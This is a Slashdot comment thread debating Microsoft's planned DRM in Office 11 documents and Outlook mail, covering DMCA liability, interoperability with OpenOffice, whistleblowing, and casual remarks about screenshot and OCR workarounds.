    Follow me on a paranoid journey to the future. I have a feeling that the main goal of Microsoft's involvement in rights management is merely a business tactic to make it harder to use non-Microsoft software. So far the government still allows you to write software that reads a Word document. But to read a rights-managed Word document it seems like you will either have to break the rights management (DMCA violation) or emulate whatever Microsoft does to respect the rights management (software patent infringement). I'm not sure which one is the rock and which one is the hard place, but I'm feeling squeezed already.

  109. COME ON! by TheAwfulTruth · · Score: 1

    This is the most flamable straw-man ever.

    Well here's a little trick you can play RIGHT NOW in the current unprotected document system on Windows OR Linux.

    Hee hee, as admin find grep for e-mails going from person a to person b and change occurrances of the work "do" with "don't" or vice versa!

    There are so many ways for the end user or man in the middle to fsck over documents at source or in transit it's not funny. A little DRM could actually go a LONG way twards preventing the very kinds of shenanigans you cite from happening in today's systems!

    Not to mention the dozens of other torches to your non-argument provided by others. If Linux were doing this it would be hailed as the greatest security benefit for document users ever conceived! (Not that it is, but it would be hails as such)

    --
    Contrary to popular belief, coding is not all free blow-jobs and beer. Those things cost MONEY!
  110. No More Updates to Office by zanderredux · · Score: 1

    Guess I'll stick to Office 2000. Mind you, my employer still insists to use Office 97 due to major compatibility issues with macros and VBA (and it is a 400+ people company)!!!!

  111. It will be a catastrophe for those who adopt it by FreeUser · · Score: 2, Insightful

    This DRM crap restricts printing. Memorization of huge documents is extremely unlikely and at the very least error-prone. Lastl, someone looking over your shoulder is not an effective means of acquiring a document. Sure, the offender could catch a glimpse of what you're looking at, but too little for too short a time.

    It is an idiotic method of "security" and will likely be banned by the courts the first time it gets in the way of a subpeana.

    Worse, companies will lose access to their own data, either through bugs, license management issues, lost keys/pass phrases, or a failure to upgrade on Microsoft's schedule.

    Only an imbecelic IT manager would consider effectively turning over the keys ... literally... to his companies documents to a less-than-trustworthy vendor like Microsoft. Indeed, only an imbecelic IT manager would consider handing said power to a completely-trustworthy vendor ... any vendor, no matter how well meaning, isn't going to stay benign with that kind of power in their pocket, and Microsoft in particular has a long and well documented history of abusing exactly this sort of power.

    You need security and encryption? Use PGP and a good passphrase. Too difficult for you? Then get literate already. Burning down the libraries is not a cure for illiteracy, and handing complete power over your commercial data to a software monopolist is not a cure for computer illiteracy. Only education coupled with a willingness to learn is, and I suspect many, many such foolish companies will pay a very heavy price when they go down this particular road.

    --
    The Future of Human Evolution: Autonomy
  112. But what about the buzzwords by SerpentMage · · Score: 1

    Yeah, but using the MS approach we would have all the buzzwords necessary.

    Open, XML, DRM, control access, etc....

    Oh yeah they forget to say, it is open so long as you pay to look at it.

    --

    "You can't make a race horse of a pig"
    "No," said Samuel, "but you can make very fast pig"
  113. How is this secure? by overbored · · Score: 1

    If the implementation depends only software, with no hardware support, wouldn't it only be a matter of time before the encryption is broken?

    Besides, one can easily copy the information by setting up a few simple macros that image-copy each screenful of the document, perhaps running OCR and reformatting on the image set.

  114. Re:And this is why I use Office. by L7_ · · Score: 1

    you should have posted twice: one with your normal tone, and the other with your spiteful one. It would have made for a better read.

  115. They did this on X once by hughk · · Score: 1
    You mean to tell me that MS has disable the copy-and-paste, too?
    A long time ago, Digital were working on Mandatory Access Controls for X WIndows. You could copy text, but you could only paste to a window of the same or higher level of trust unless you had a special 'DISCLOSURE' privilege. Same goes for printers, you could only print a document on a printer that had the associated trust level.

    I know what happened with Microsoft before on getting their security certifications. They tend to forget a lot of the grunt work around implementations so you will probably still be able to screenshot and paste, let alone paste documents.

    --
    See my journal, I write things there
    1. Re:They did this on X once by OhCrap · · Score: 1

      At the very worst, you could use a digital camera to take a picture of the output on the screen, plug in your camera and save it as .jpeg and email it to whoever you want to have the info.

    2. Re:They did this on X once by hughk · · Score: 1

      The kind of places that would be buying this do not allow cameras to be brought in. Mobiles with cameras would definitely not be allowed.

      --
      See my journal, I write things there
  116. Re:NOT First use of DMCA to protect file format by LordSah · · Score: 2, Insightful

    Wasn't the Skylorav case persued under the DMCA because he broke Adobe's file format?

  117. Please mod this up more... by Anonymous Coward · · Score: 1, Interesting

    I know that's not helpful, but I can't help but agree.

    The problem with this isn't that it's an implementation of privacy, but that it's Microsoft implementing my privacy.

    I can encrypt every document on my hard drive right now, and I don't need Microsoft to do it for me.

    DRM as envisioned by corporations like MS fails to account for the fact that if information can be interpreted by one person, it can be interpreted by anyone. There are all sorts of ways around it in this case: screenshot, hack accounts, print it out, hack the frickin DRM, convert it into a different format, and so forth and so on. Yes, it makes it more difficult, but there will still be problems.

    Security begins with the user. If your staff is mass emailing sensitive documents to spammers, that's a problem with your staff, not the email program, and certainly not the text format of your email.

    Sure, privacy is important, and restricting access is too. They're fundamental. But that should be something that's done by the user, the sysadmin, not MS.

    If MS were creating this spec, and publishing the whole document spec as open source, I'd be happy, more or less. Fine--then there'd be nothing stopping other developers from implementing the spec. But as it stands--and likely will stand--this won't be open, and restricting access to my document won't mean restricting it to who I want, it'll mean restricting it to who MS thinks it's okay for me to want to restrict it to.

    DRM should be separate from any particular corporation's implementation of it.

  118. It just won't work by Zsoltika · · Score: 1
    Digital Rights Management in user level is pointless, in OS level, well maybe.

    Office11 is an application, without proper help from the OS it's already just waste of computing power :)

    So if M$ wants strong security it must reimplement the 90% or more of the OS (from memory management, through process separation, low level I/O, and even the whole GUI (this includes buttons, labels, drag&drop, clipboard...) to have access management between the objects.

    Ohh, and if they want 3rd parties to write apps for this new system, they have to provide APIs for accessing the contents of these files, and you can just write a program, that only decrypts the data using the API, and then sends it char by char through the network, and you already skipped the higher level protection of the Office routines (eg that won't let you print it)

    It's a hell lot of work even for M$... I highly doubt that they would make this step.

    Hey they even have to break API (not just binary) compatibility.

  119. One Word: "Publication" by HopeOS · · Score: 1

    I don't publish my private affairs; I encrypt sensitive documents to keep them private.

    I do publish documents for public consumption. Outside of copyright, I have no control over what happens to that data afterwards. To try to control who can read those documents and under what conditions is both unreasonable and impractical.

    The only way to keep your trade secrets out of the public is through expensive safeguards. The more important the information, the higher the expense. DRM may provide some of this infrastructure to corporations, but I don't see it replacing existing methods of maintaining confidential information.

    Access control mechanisms have been available for decades. DRM has merely centralized access control and increased the number and complexity of the failure modes. In the worst case, not even the system administrator can rescue a document from the file system if certain aspects of the DRM system have failed.

    In the end, I believe, DRM will prove to be nothing more than an ineffective burden. There are better ways to do things.

    -Hope

  120. Minor correction... by zipwow · · Score: 1

    Shouldn't that be:

    New President *W* is elected and drops the suit. (Open Source world watches history repeat itself)

    -Zipwow

    --
    I don't know which is more depressing, that 2/3 didn't care enough to vote, or that 1/2 of those that did are crazy.
  121. What They Mean When They Say XML by duck_prime · · Score: 1
    I was sort fo hoping against hope that MS would be moving further toward XML and therefore allowing greater standardization.

    It's surprising how many people make dumb comments like this on Slashdot. Please go learn about XML then get back with us.

    Briefly, XML is a format for data formats. Creating a document in an XML format doesn't mean it'll be readable by anybody else.
    I think you're perhaps being a little hard on the grandfather poster there. Sure, sure, XML is just a format for data formats, but don't forget the subtext. When people say they're switching to an XML format, it's almost always with the understanding that it is for greater ease-of-use and interoperability.

    The interminable discussions on /. about ways that MS could obfuscate valid XML documents (eg <word_doc><![CDATA[ 87AS6BSDJHA3...8AUGJSHK ]]></word_doc>) certainly "proved" your point, but do recall that there was -- or seemed to me -- a general consensus that if you're not going XML to open up your data format for interoperability, what's the point?

    Anyway, these are random thoughts. If you're kind, send me aspirin. I have a headache.
  122. Word by commodoresloat · · Score: 1
    I have to agree. I've been using Word for the Mac since 4.0, and I've tried weaning myself off of it several times with no success. Before OS X I was trying to switch to linux, have tried staroffice and wordperfect and abiword and open office and kword on a variety of platforms (slackware, redhat, mandrake, and lately on OS X). The features I need as a sometimes-academic writer include some of the above, but an absolute necessity is sane footnote/endnote handling. Other word processors do crazy and counterintuitive things like give me separate windows for every footnote. That's a little silly when you have over 100 of them and you edit them a lot.

    Of course, like most people, I find that the most important thing about Word is that I can always count on getting help writing a letter.

  123. No this is good. by Smallest · · Score: 1

    because it lets us protect our own documents. we're only interested in stealing other people's content, remember???

    -c

    --
    I have discovered a truly remarkable proof which this margin is too small to contain.
  124. this is great by Anonymous Coward · · Score: 1, Informative

    This is great, because at work I hate to protect every worksheet with our department's password. Now all we have to do is associate the file with our password, and only the right people get to edit it. This is brilliant.

  125. Re:NOT First use of DMCA to protect file format by ibbey · · Score: 3, Interesting

    Wasn't the Skylorav case persued under the DMCA because he broke Adobe's file format?

    Not really. The PDF file format is an open format. Anyone can make PDF tools. Skylorav didn't crack the file format, he cracked the optional encryption that the file MAY contain.

    There is a key difference: Microsoft has repeatedly tried to prevent other companies from being able to read/write their file formats. By including DRM in the file format, Microsoft could be setting up the chance to sue OpenOffice (for example) in the event they include Office interoperability.

    The interesting thing (to me) is that until I read this post, I though that this was really not a big deal. I actually think Office is a good place for DRM. Having the ability to place some limitations on who can read my business documents is a good thing. If it weren't for the DMCA, I would say that this is a case of people overreacting just because MS is involved. Unfortunately, the DMCA changes all that. Microsoft will almost certainly use this as a tool to prevent interoperability, and there's probably not a thing anyone can do to stop them.

  126. Re:NOT First use of DMCA to protect file format by ibbey · · Score: 1

    Actually, it occurs to me that the DMCA specifically allows reverse-engineering for interoperability, so this may not be as bad as I'd originally thought. On the other hand, most Open Source projects don't have the money for Lawyers, so it will possibly have a stifling effect whether it is illegal or not.

  127. USATODAY makes a good point by bwt · · Score: 3, Interesting

    Here's an article on this. The article title gets the point across pretty clearly: "New technology could cut down on whistleblowing". Think Enron, WorldCom, cigarette companies, etc... .

    It seems that this technology would be pretty valuable for terrorists, no? This is a child pornographer's dream. You want to run a second set of books so you can pay less taxes, use the new MS Office. How exactly will law enforcement do legitimate searches? A lot of the arguments made against strong crypto by the government would seem better aimed at DRM.

    Keep in mind that mobsters have been jailed even though they used strong crypto because the government tapped their keyboards (after obtaining legitimate warrents to do so) and sniffed their keys. Do we REALLY want to allow a system where the machine prevents us from gathering such evidence? How would you like to receive a death threat from a mobster via email and be unable to prove it to the police?

  128. Like anyone overseas is going to want this. by TheNarrator · · Score: 2, Insightful
    Yes, I am sure that any government that is not an ally of the United States is going to want to use this DRM service given that the NSA will be able to read their documents, monitor who they send them too, who reads them, who prints them,etc, etc all through the centralized passport server

  129. Re:NOT First use of DMCA to protect file format by LordSah · · Score: 4, Insightful

    DRM in Office docs is optional too. The DRM is only used if the author of the information turns it on. The plain old Word format is still there, as is the new Office11 XML Word format.

    Will DRM documents work in OpenOffice? Nope. BUT: Will the other formats that Office11 uses (by default)? Yep. Is Microsoft going to force anyone to use DRM? Nope. Does this mean that groups that have MSOffice and OpenOffice can still inter-operate? Yep.

    Given that, is this some evil scheme to take over the world? Nope. Seriously, folks around here need to take a breather. Believe it or not, MS can just stick features in their products only because it makes them more attractive to their customers. Not everything MS does is geared towards destroying Linux/taking over the world.

  130. Office, hah. Maybe Access by The_Dougster · · Score: 1
    Access is the only thing that MS ever made that gets The_Dougster's Stamp of Approval. Access is a very lightweight database with a shitload of features. It is so feature heavy it makes other apps seem like toys. As long as you don't make Access serve for more than a couple dozen people, it is pretty amazing.

    Word, Excel, Powerpoint ... feh. Nothing new here, but man Access is so intense when you use all the VBA stuffings. If I was Oracle, I'd steal whoever it was that made Access.

    IMHO, Access is the only MS product ever that is worth its weight. It really is an innovative thing. The rest is pretty much bad copies.

    If some wise /.'er knows which product MS copied to make Access, I'd like to know.

    --
    Clickety Click ...
    1. Re:Office, hah. Maybe Access by MikeXpop · · Score: 1

      If some wise /.'er knows which product MS copied to make Access, I'd like to know

      Pencil and paper? Seems to me that's what people used to database before Access.

      --
      Etiquette is etiquette. He kills his mother but he can't wear grey trousers.
    2. Re:Office, hah. Maybe Access by jaavaaguru · · Score: 1


      Access is the only thing that MS ever made that gets The_Dougster's Stamp of Approval. Access is a very lightweight database with a shitload of features.


      I'd agree with that.

      It is so feature heavy it makes other apps seem like toys.

      Actually, as far as useful features go, Access sucks compared to other database systems. It's a toy database, for storing things like your mum's video collection titles in, or a small company's customers' addresses.

      As long as you don't make Access serve for more than a couple dozen people, it is pretty amazing.

      With the whole purpose of a database system being to serve data to lots of clients, being limited to a very small amount of users is a huge drawback, and a showstopper for lots of people.

      The IIS webserver has a similar scalability problem. I know of Universities with IIS web server that fall over if there are more than 30 concurrent users.

      Word, Excel, Powerpoint ... feh. Nothing new here, but man Access is so intense when you use all the VBA stuffings.

      Ah, yeah, I can see that Access might be good from a VB programmer's point of view. It's not so good for anyone wanting to do serious amounts of complex searching.

      If I was Oracle, I'd steal whoever it was that made Access.

      Oracle is extremely scalable. Oracle can do stuff like this - Access can't. Even MS SQL server (a far better product than Access) can't. It's in a completely different league.

      IMHO, Access is the only MS product ever that is worth its weight. It really is an innovative thing. The rest is pretty much bad copies.

      Access is innovative. It makes databases easy for beginners and people who aren't expecting much ability to handle complexity from the system.

  131. Can I enforce the GPL? by Anonymous Coward · · Score: 1, Interesting

    I mean does it force program pirates to include source or link, as the GPL mandates?

  132. So what? by Bendebecker · · Score: 1

    Just another reason to use OpenOffice.

    --
    There's a growing sense that even if The Future comes,
    most of us won't be able to afford it.
    -- Lemmy
  133. Re:The LACK of choice becomes even more clear. by rdewald · · Score: 1

    You confuse my observation with an endorsement. No matter, it's really another discussion, but suffice it to say that I am doing everything I can within my own organization to get them to abandon Windows completely. Having said that, I stand by the assertion that we won't make the transition to an electronic medical record until we can roll out a solution that can do something like what Msoft seems to claim this Office 11 release can do.

    --
    The best way to do is to be.
  134. um, no....bibtex by unsinged+int · · Score: 1

    I'm around many scientists and engineers. I know zero people who use EndNote. Plenty who use bibtex.

    And as far s the original post goes, it wouldn't matter if MS did add bibiliography support to Word. Who is dumb enough to use Word to write a research paper anyway? This is why there are things like Framemaker and LaTeX.

    1. Re:um, no....bibtex by rgmoore · · Score: 1
      Who is dumb enough to use Word to write a research paper anyway? This is why there are things like Framemaker and LaTeX.

      There are lots of people who don't want to learn how to use those programs but who already know how to use a word processor. The journals that I've published in, for instance, require that documents be submitted in Word or a similar format, rather than something like LaTeX. Of course those journals don't expect that the authors will try to format everything in Word. You write everything in Word but leave it in a very plain format and let the professional typesetter at the journal worry about getting it into the perfect format for publication.

      --

      There's no point in questioning authority if you aren't going to listen to the answers.

  135. Re:NOT First use of DMCA to protect file format by martyn+s · · Score: 2, Interesting

    If the DMCA truly allows reverse-engineering for purposes of interoperability, then whats the problem with DeCSS, and Linux DVD players that use it?

  136. PGP vs. DRM by David+Jao · · Score: 2, Insightful
    When it's called PGP it's good, when they call it Microsoft Something Something it's bad?

    You're really missing the entire point if you think PGP is anything like DRM.

    PGP is designed to keep something secret when both the sender and the recipient want to keep it secret.

    DRM is designed to keep something secret when only the sender but not the recipient wants to keep it secret.

    The first is a relatively easy problem with a good solution. The second is a completely impossible problem whose attempted solution will nevertheless cause a lot of grief to society as circumvention tools like digital cameras and copy machines get banned.

  137. Can not print instructions from IT by BroncoInCalifornia · · Score: 1

    I can see it already. IT sends me an e-mail. It tells me to print these instructions and follow them. But they DRMed the damn thing so I can not print it.

    I already see a work around. Take a screen shot and print the image!

    --

    Religion is the main cause of atheism.

    1. Re:Can not print instructions from IT by ceejayoz · · Score: 1

      Your objection is pretty silly - if they want you to print it, they're certainly not going to open up a dialog box and specifically click the "Don't let recipient print this email" checkbox...

  138. On the horizon... by Ogerman · · Score: 1

    That line you see forming.. It's not for the next Star Wars movie.. It's not another anti-war rally... It's freedom-loving people lining up ready to show some outright, no-holds-barred civil disobediance towards the Digital Millenium Copyright Act by cracking the DRM crap in Office 11 documents and spreading the circumvention code the heck all over the globe faster than a recipe for the world's best chocolate chip cookies. If Microsoft tries to use this nonsense to lock competitors out of their document formats, I predict all gloves come off.

  139. DRM is for us too - I can't wait ! by sir_cello · · Score: 2, Insightful

    This is good news for me, and possibly some others as well. I'm looking forward to DRM documents.

    When I publish an academic paper - it ends up being spidered by numerous search engines out there, and I can't wait until I can embed rights such as "caching allowed by google, not allowed by turnitin.bot", and "caching allowing for non-commercial purposes", or similiar. robots.txt doesn't work effectively enough, nor does it take into account what happens when someone takes a copy of the document into their intranet or onto their work machine. I'm looking forward to backup software that will honour DRM and refuse to backup documents where DRM disallows it.

    It'll also be useful when I can allow use for research and teaching purposes, but indicate that licensing is needed for anything else. I'd like to allow some cut'n'paste (fair use), but I'd prefer to have the application prevent the user from extracting too many or too large a portion (I know that the technology is imperfect, and the geeks can get around it, but at least it prevents the majority of users).

    It'll also be good when DRM is embedded into the metamodel itself, so that internal objects (images, movies, audio, etc) also have their own DRM perhaps with separate t&c - so I might be able to use an image under terms of fair use, and it would still properly identify its original author/owner, and the DRM would be retained even if it was cut'n'pasted out of my document. This is going to be great for my free pictures collection because I'll allow people to use the pictures in their material, and they will know that they can safely do so. And should the like it ? They'll hopefully pay me to make more !

    Sorry to hear that you guys are so down in DRM. Without good DRM, the use of information (copyright, etc) will be left to FUD - with DRM, at least it's all going to be explicit.

    1. Re:DRM is for us too - I can't wait ! by ln+-sf+head+ass · · Score: 1

      If you want to control information, don't publish it--especially on the Internet. If I ran across a DRMd paper like you described, and I gave a darn about its content, I'd take screen shots, OCR it, and put it on Freenet.

  140. DRM coming to open office suites? by DrPepper · · Score: 1

    It will be interesting to see if DRM makes an appearance in other office suites, especially the ones available for Linux.

    Make no mistake - corporates will like this functionality. If Linux wants to compete on the desktop in an corporate environment, then some form of DRM may have to make an appearance.

    On the other hand, as evidenced by the comments here, most open source advocates hate the idea of DRM in documents or other files.

    I'm afraid that DRM may well start making an appearance in packages we know and love. I'm sure the implementation will be well done, but I believe that it will inevitably make an appearance, no matter how flawed everyone thinks the idea is.

  141. Super Spam? by BillX · · Score: 1

    > allowing restrictions to be set on Outlook mail messages

    Does this mean a spammer can DRM-tag his messages so they cannot be forwarded to his ISP?

    --
    Caveat Emptor is not a business model.
    1. Re:Super Spam? by perlchild · · Score: 1

      Well depending on the implementation, they could. It depends if they can even "key" it so the user himself can read it...
      Or they could even bombard your mailbox with emails you cannot read(and your isp either)
      A new tack on mailbombing...
      What scares me is if they could key it so you only have 15 seconds from the time you open the email, to the time it gets to the abuse box at your isp, before it becomes unreadable...

      I guess there are more new perfectly good reasons to use non-MS mail clients

  142. chmod2003 for Windows by skillet-thief · · Score: 1
    The docs are text/XML, but they wrap them with DRM, which is just like any other encryption except that it has meta-info/rules included. To get at the text/XML, you have to be authorized via the DRM system on the machine. Palladium provides hardware that makes the DRM system less vulnerable to hacks.

    DRM + Palladium at the hardware level sounds like a hell of a lot of work just to finally get good ol' *nix style file permissions into Windows.

    What I want to know is: where in Word do you type

    chown
    and
    chmod
    ?
    --

    Congratulations! Now we are the Evil Empire

    1. Re:chmod2003 for Windows by mabinogi · · Score: 1

      Actually, the command is cacl

      And all the file permissions in the world mean nothing once you've sent the file to someone else.

      --
      Advanced users are users too!
  143. DRM ! by stephanruby · · Score: 1

    Quick, let's get this ported unto Linux!

  144. However, it will stop... by cnelzie · · Score: 1

    Whistleblowers... Those wonderful people that either suddenly obtain a conscience or always have one but come in contact with materials within a corporation or government agency that speak of dubious plans or vile previous actions.

    Without those people, large corporations and secret portions of government will be able to get away with many more vile acts, since they can simply "lock-up" all of the offending documents, protecting themselves from potential whistleblowers.

    Then, if a whistleblower does somehow get documents out of the computers, that person could be sued out of existence via the DMCA.

    Wow, isn't the law great?!

    --
    If you ignore the other uses of a tool, does that make the tool less useful, or you less useful?
  145. Re:NOT First use of DMCA to protect file format by LordSah · · Score: 1

    Why in God's name would you make DRM the default? That would mean that email, by default, could not be printed or forwarded. Word docs, by default, couldn't be passed around and edited by a team.

    Ease of use is inversely porportional to security. DRM is a pain in the ass. Microsoft's customers (and Microsoft knows this) will save DRM for data that really needs the security. Cutting the cord, as you put it, will probably drive many customers away from Office. From Microsoft's point of view, this is A Bad Thing.

    BTW, saying "This hypothetical situation *might* happen in the future, therefore my argument is true" is a logical fallacy of truely epic scale. If you want to conclusively 'win' an argument, you'll need to use factual data.

  146. Not your right by ACNiel · · Score: 1

    Just because an idea or knowledge I have affects you, doesn't immediately give you the right to that information or idea.

    Yes, it affects you. Yes, you'd like to know they were dumping into your ground water. And, yes, it is an illegal act. That doesn't mean you have the right to know what I know about that illegal act.

    I am not forced to tell you, or anyone else, that I broke the law. Whether that information is in my head, or on paper, you don't have an implicit right to access it.

  147. Dr Snaggles uses... by mousse-man · · Score: 1

    SnagIt. As long as you can view it on a screen, I can imagine at least one work-around - use SnagIt. If you can use Word 11 through Citrix, this is a mundane operation. Possibly, you can even do a direct cut&paste from the Citrix window to a window on your desktop. And OCR software has been pretty powerful these last years so basically, after doing some SnagIt snapping, you could send it through Omnipage.

  148. Bond.....James..Bond. by adius · · Score: 1

    If it can't be cracked (software, hardware) there is always my trusty spy camera, or screen capture utility. :P

  149. Re:NOT First use of DMCA to protect file format by HiThere · · Score: 1

    You are talking about DRM that is actually used to enhance security, or prevent copying. This could have a default level of "DRM level 0 - use the default MicroSoft Keys to encode your documents. This will allow other users of New WordSecure to read your docs without hinderance."

    That would be enough to allow the DMCA to become activated, but would make it illegal for OpenOffice to be able to read the documents. And it would allow anyone who had the latest version of MSOffice to exchange documents with anyone else who also had it.

    --

    I think we've pushed this "anyone can grow up to be president" thing too far.
  150. Office+encryption by tuzen · · Score: 1

    This is similar to using PGP or GPG to encrypt files and communications. For those of us who try and use these products, the frustrations are the extra steps required to use these tools, the huge amount of trust required in readers, and lack of standard installations.

    It is almost not worth encrypting communication until DRM is in place. It is because office applications don't understand encryption that copy-paste, printing and forwarding can still occur today. I certainly hope that other popular encryption products jump aboard.

  151. Now there's a virus with an eeeevil twist... by Kjella · · Score: 2, Interesting

    Imagine it locks up your Excel sheet to read-only (w/Palladium backing).

    "What do you mean you can't fix it? I can see my entire workbook here, I'm just not allowed to change it. I can't even copy & paste. What do you mean I'll have to start over? I need those data I see right in front of me, it's not deleted, so fix it!"

    Nothing like a virus that'll not only take your data, but also rub your nose in it. Somebody remember to give this idea to the script kiddies.

    Kjella

    --
    Live today, because you never know what tomorrow brings
  152. People Will Ignore This by hastings14 · · Score: 1
    Setting aside the technical problems, this system won't prevent anything... The first time the "boss" wants his presentation and realizes he accidentally expired it he will stop using it. Even if its corporate policy, he can ignore that because its a minor thing and he's the boss. Likely, he doesn't understand encryption or data security anyway.

    Employees who see their boss ignoring a non-essential rule are going to start ignoring it, too. Especially since they don't understand encryption or data security.

    Most people can't remember their passwords - I used to work at a tech company and the whole place only had three passwords - even for critical systems. Within a few weeks most senior employees are going to know their boss's override and be able to look at or print any document they want.

    A Contradiction:

    DRM = Controls and Stops Free Flow of Info

    Well Run and Profitable Bussinesses = Free Flow of Ideas and Information

    Anyone interested in a high level of data security is already using PGP/GPG, anyone interested in a low level of data security (enough to stop casual snoopers) is already using the password system thats already in Microsoft Office. Everyone else just doesn't care, and as everyone knows caring IS the first requirement for data security (and everything else in life...)

  153. Re:NOT First use of DMCA to protect file format by ibbey · · Score: 1

    If the DMCA truly allows reverse-engineering for purposes of interoperability, then whats the problem with DeCSS, and Linux DVD players that use it?

    Good question. I wish I could give you an answer. Unfortunately, MPAA Lawyers don't seem to be bound by this trivial thing called "the law".

    Ok, a more serious answer... The MPAA argues that the purpose of reverse engineering CSS was not for interoperability, but for piracy. Regardless of the numerous non-infringing uses, the courts have chosen to side with Hollywood on the issue & declared it illegal.

    The same could ceratinly happen in the case of Office, so the interoperability clause could be useless. However, it would be a much bigger stretch to argue the same thing when you're dealing with office documents rather then movies.

  154. Re:NOT First use of DMCA to protect file format by LordSah · · Score: 1

    My problem with this statement is that you're assuming that Microsoft will do this. Just to screw up OSS.

    First, what benefit would that action afford the customer? Why would they want plain documents level-0 encrypted? It'll break all their non-Office tools, like intranet search tools. It does not improve _any_ customer scenario relating to standard open Office data.

    Then answer is that it will only screw the customer. That's stupid, because it will not work towards Microsoft's goal of selling more copies of Office.

    Immediately assuming that MS will do *anything* that won't improve a customer scenario is paranoid, and deluded. It's like saying that MS's 50,000 employees are sitting around all day, trying to think up new ways of BF'ing their customers. I know quite a few folks who work there, and it certainly isn't their MO. Name one successful company that works that way? (Don't say 'Microsoft'--that's asinine)

  155. Does the DMCA even apply here? by smiff · · Score: 1
    Actually, the DMCA has an explicit provision allowing reverse engineering for compatibility. You can break encryption and everything. It's one of the only exceptions in the DMCA.

    Based on Judge Kaplan's ruling, the compatibility provision only applies if you are making two programs interact. It does not apply if you are simply making a program to access a DRM restricted document.

    I have to question if the DMCA applies at all. According to the DMCA:

    (A) to ''circumvent a technological measure'' means to descramble a scrambled work, to decrypt an encrypted work, or otherwise to avoid, bypass, remove, deactivate, or impair a technological measure, without the authority of the copyright owner;

    So, if you just publish a DRM-restricted document, and give everyone permission to do anything they want with it, they should be able to circumvent the system.

    Also, the DMCA only applies to works protected by copyright. If you distribute your own copyrighted work, and surrender the copyright after two weeks, anyone can circumvent the system to access your works.

    And of course, IANAL.

  156. Re:NOT First use of DMCA to protect file format by ibbey · · Score: 1

    My problem with this statement is that you're assuming that Microsoft will do this. Just to screw up OSS.

    Why not? They've broken numerous open standards before, for no reason other then defeating competing software (See the Halloween documents for examples).

    First, what benefit would that action afford the customer? Why would they want plain documents level-0 encrypted? It'll break all their non-Office tools, like intranet search tools. It does not improve _any_ customer scenario relating to standard open Office data.

    Since when has MS ever given a damn about their customers? MS introduces a new file format in every upgrade to Office, so they clearly aren't overly concerned about backwards compatibility. In fact, it's just the opposite. By making the new version incompatible with the old version, it forces everyone to upgrade.

    Immediately assuming that MS will do *anything* that won't improve a customer scenario is paranoid, and deluded. It's like saying that MS's 50,000 employees are sitting around all day, trying to think up new ways of BF'ing their customers.

    Of course their not thinking of ways to screw their customers. THeir thinking of ways to sell more copies of Office. The fact that both goals often have the same result is coincidental. 95% of MS Employees are likely fine. I live in Seattle, and know several employees myself. But MS has a demonstrated past of this sort of behaviour, so saying they won't do it just because it might hurt their customers is foolish. I am not saying that MS will pursue DMCA action against anyone who tries to break the DRM, just that it could happen, and therefore will likely have a chilling effect on development. This is a god thing from MS's point of view, and exactly why I think the DMCA is a bad law and probably unconstitutional.

  157. Re:NOT First use of DMCA to protect file format by ibbey · · Score: 1

    DRM in Office docs is optional too. The DRM is only used if the author of the information turns it on.

    And DRM is optional in PDF, but they still sued Skylarov. The only reason that I pointed out the fact that it was optional was in response to the person who said that the Adobe case was to protect the file format. As I pointed out, PDF is open, so their is nothing to protect. In this case, however, the file format is proprietary, so the DMCA could be used to attack any reverse engineering. As I pointed out, MS will have a tougher time with this case due to the clear interoperability uses such reverse-engineering will have. Nonetheless, since MS's legal pockets are considerably deeper then most of it's competitors, and certainly it's OSS competitors, the mere threat of legal action will likely have a chilling effect.

  158. I can do this now, big deal! by pair-a-noyd · · Score: 1

    with gnuPGP I can restrict who reads what, right now.
    It's fool proof too. And I don't have to pay Billy-boy any royalties to do it..

    UP YOURS BILL !!!!!!!!

  159. Re:It gets worse... by pair-a-noyd · · Score: 1

    Big deal. Suck the file into a system that does not honor the RMS/DRM process and deal with it.
    Can you spell LINUX???
    Cracking codes with a different type of system is the way to do it. They fail in that they ASSUME that only WINBLOZ users will intercept the files.

  160. Email by Mr_Silver · · Score: 1
    This is going to get lost in the vaste number of comments already but what the hell:

    How will the secure versions of Outlook work? I mean more specifically outside of the local domain? Sure, I can post a message to everyone in my company and prevent them from forwarding it on, but once the email is out into the wild of the internet it's going to have to be backwards compatible for other people to read it.

    Therefore assuming these restrictions are in the header (as thats the only place I can think of that would render the email still readable for 90% of the planet):

    • What is to stop companies modifying all outbound emails to add these restrictions?
    • What is to stop companies automatically removing these restrictions from all incoming emails?
    Sure the number of people using Outlook 11 won't be massive - but look at how popular Outlook 2000 is now. Give it a couple of years ...
    --
    Avantslash - View Slashdot cleanly on your mobile phone.